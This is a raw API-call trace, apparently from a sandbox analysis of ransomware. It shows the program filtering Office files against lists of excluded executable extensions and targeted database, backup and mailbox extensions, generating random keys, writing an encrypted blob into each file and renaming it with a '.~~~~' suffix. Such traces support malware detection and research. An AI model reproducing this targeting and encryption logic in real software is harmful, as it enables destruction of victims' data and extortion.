	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0136.864] lstrlenW (lpString=".DB") returned 3
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0136.864] lstrlenW (lpString=".sql") returned 4
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0136.864] lstrlenW (lpString=".MYD") returned 4
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0136.864] lstrlenW (lpString=".DBT") returned 4
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0136.864] lstrlenW (lpString=".ACCDB") returned 6
	[0136.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0136.865] lstrlenW (lpString=".fdb") returned 4
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0136.865] lstrlenW (lpString=".bak") returned 4
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0136.865] lstrlenW (lpString=".myd") returned 4
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0136.865] lstrlenW (lpString=".DTXS") returned 5
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0136.865] lstrlenW (lpString=".ckp") returned 4
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0136.865] lstrlenW (lpString=".dbt") returned 4
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0136.865] lstrlenW (lpString=".db") returned 3
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".db") returned 0x0
	[0136.865] lstrlenW (lpString=".TXT") returned 4
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0136.865] lstrlenW (lpString=".MDF") returned 4
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0136.865] lstrlenW (lpString=".bdb") returned 4
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0136.865] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0136.866] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394f48) returned 1
	[0136.867] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0136.867] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0136.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0136.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0136.939] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25692933616) returned 1
	[0136.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbb104630, dwHighDateTime=0x1d60e1e)) 
	[0136.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0136.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0136.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4c10
	[0136.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4c10 | out: hHeap=0x300000) returned 1
	[0136.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc1b0
	[0136.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.940] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.941] GetLastError () returned 0x0
	[0136.941] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.941] GetLastError () returned 0x0
	[0136.942] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.942] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0136.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.942] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.942] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.942] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.942] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.943] CloseHandle (hObject=0x138) returned 1
	[0136.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0136.943] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.~~~~")) returned 1
	[0136.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0136.945] GetLastError () returned 0x0
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".scr") returned 0x0
	[0136.946] lstrlenW (lpString=".cmd") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".cmd") returned 0x0
	[0136.946] lstrlenW (lpString=".dll") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".dll") returned 0x0
	[0136.946] lstrlenW (lpString=".bat") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".bat") returned 0x0
	[0136.946] lstrlenW (lpString=".cpl") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".cpl") returned 0x0
	[0136.946] lstrlenW (lpString=".sys") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".sys") returned 0x0
	[0136.946] lstrlenW (lpString=".msc") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".msc") returned 0x0
	[0136.946] lstrlenW (lpString=".com") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".com") returned 0x0
	[0136.946] lstrlenW (lpString=".lnk") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".lnk") returned 0x0
	[0136.946] lstrlenW (lpString=".msp") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".msp") returned 0x0
	[0136.946] lstrlenW (lpString=".pif") returned 4
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".pif") returned 0x0
	[0136.946] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0136.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0136.948] lstrlenW (lpString=".sqb") returned 4
	[0136.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".sqb") returned 0x0
	[0136.948] lstrlenW (lpString=".ost") returned 4
	[0136.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".ost") returned 0x0
	[0136.948] lstrlenW (lpString=".txt") returned 4
	[0136.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".txt") returned 0x0
	[0136.948] lstrlenW (lpString=".mdt") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".mdt") returned 0x0
	[0136.949] lstrlenW (lpString=".BDB") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".BDB") returned 0x0
	[0136.949] lstrlenW (lpString=".eql") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".eql") returned 0x0
	[0136.949] lstrlenW (lpString=".DBF") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DBF") returned 0x0
	[0136.949] lstrlenW (lpString=".EQL") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".EQL") returned 0x0
	[0136.949] lstrlenW (lpString=".FDB") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".FDB") returned 0x0
	[0136.949] lstrlenW (lpString=".EDB") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".EDB") returned 0x0
	[0136.949] lstrlenW (lpString=".DACPAC") returned 7
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0136.949] lstrlenW (lpString=".VHD") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".VHD") returned 0x0
	[0136.949] lstrlenW (lpString=".DBV") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DBV") returned 0x0
	[0136.949] lstrlenW (lpString=".dacpac") returned 7
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0136.949] lstrlenW (lpString=".sdf") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".sdf") returned 0x0
	[0136.949] lstrlenW (lpString=".accdb") returned 6
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".accdb") returned 0x0
	[0136.949] lstrlenW (lpString=".DBX") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DBX") returned 0x0
	[0136.949] lstrlenW (lpString=".MDT") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".MDT") returned 0x0
	[0136.949] lstrlenW (lpString=".SQB") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".SQB") returned 0x0
	[0136.949] lstrlenW (lpString=".vhd") returned 4
	[0136.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".vhd") returned 0x0
	[0136.950] lstrlenW (lpString=".bac") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".bac") returned 0x0
	[0136.950] lstrlenW (lpString=".mdf") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".mdf") returned 0x0
	[0136.950] lstrlenW (lpString=".BAK") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".BAK") returned 0x0
	[0136.950] lstrlenW (lpString=".BAC") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".BAC") returned 0x0
	[0136.950] lstrlenW (lpString=".dbs") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".dbs") returned 0x0
	[0136.950] lstrlenW (lpString=".vhdx") returned 5
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0136.950] lstrlenW (lpString=".NDF") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".NDF") returned 0x0
	[0136.950] lstrlenW (lpString=".dat") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".dat") returned 0x0
	[0136.950] lstrlenW (lpString=".DBS") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DBS") returned 0x0
	[0136.950] lstrlenW (lpString=".CKP") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".CKP") returned 0x0
	[0136.950] lstrlenW (lpString=".edb") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".edb") returned 0x0
	[0136.950] lstrlenW (lpString=".PST") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".PST") returned 0x0
	[0136.950] lstrlenW (lpString=".dbf") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".dbf") returned 0x0
	[0136.950] lstrlenW (lpString=".SQL") returned 4
	[0136.950] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".SQL") returned 0x0
	[0136.950] lstrlenW (lpString=".pst") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".pst") returned 0x0
	[0136.951] lstrlenW (lpString=".dbv") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".dbv") returned 0x0
	[0136.951] lstrlenW (lpString=".SDF") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".SDF") returned 0x0
	[0136.951] lstrlenW (lpString=".dtxs") returned 5
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0136.951] lstrlenW (lpString=".db3") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".db3") returned 0x0
	[0136.951] lstrlenW (lpString=".OST") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".OST") returned 0x0
	[0136.951] lstrlenW (lpString=".dbx") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".dbx") returned 0x0
	[0136.951] lstrlenW (lpString=".DB3") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DB3") returned 0x0
	[0136.951] lstrlenW (lpString=".DAT") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DAT") returned 0x0
	[0136.951] lstrlenW (lpString=".VHDX") returned 5
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0136.951] lstrlenW (lpString=".ndf") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".ndf") returned 0x0
	[0136.951] lstrlenW (lpString=".DB") returned 3
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DB") returned 0x0
	[0136.951] lstrlenW (lpString=".sql") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".sql") returned 0x0
	[0136.951] lstrlenW (lpString=".MYD") returned 4
	[0136.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".MYD") returned 0x0
	[0136.952] lstrlenW (lpString=".DBT") returned 4
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DBT") returned 0x0
	[0136.952] lstrlenW (lpString=".ACCDB") returned 6
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0136.952] lstrlenW (lpString=".fdb") returned 4
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".fdb") returned 0x0
	[0136.952] lstrlenW (lpString=".bak") returned 4
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".bak") returned 0x0
	[0136.952] lstrlenW (lpString=".myd") returned 4
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".myd") returned 0x0
	[0136.952] lstrlenW (lpString=".DTXS") returned 5
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0136.952] lstrlenW (lpString=".ckp") returned 4
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".ckp") returned 0x0
	[0136.952] lstrlenW (lpString=".dbt") returned 4
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".dbt") returned 0x0
	[0136.952] lstrlenW (lpString=".db") returned 3
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".db") returned 0x0
	[0136.952] lstrlenW (lpString=".TXT") returned 4
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".TXT") returned 0x0
	[0136.952] lstrlenW (lpString=".MDF") returned 4
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".MDF") returned 0x0
	[0136.952] lstrlenW (lpString=".bdb") returned 4
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".bdb") returned 0x0
	[0136.952] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0136.953] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394f48) returned 1
	[0136.953] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0136.953] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0136.954] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25694378820) returned 1
	[0136.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbb12a790, dwHighDateTime=0x1d60e1e)) 
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4bd8
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4bd8 | out: hHeap=0x300000) returned 1
	[0136.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
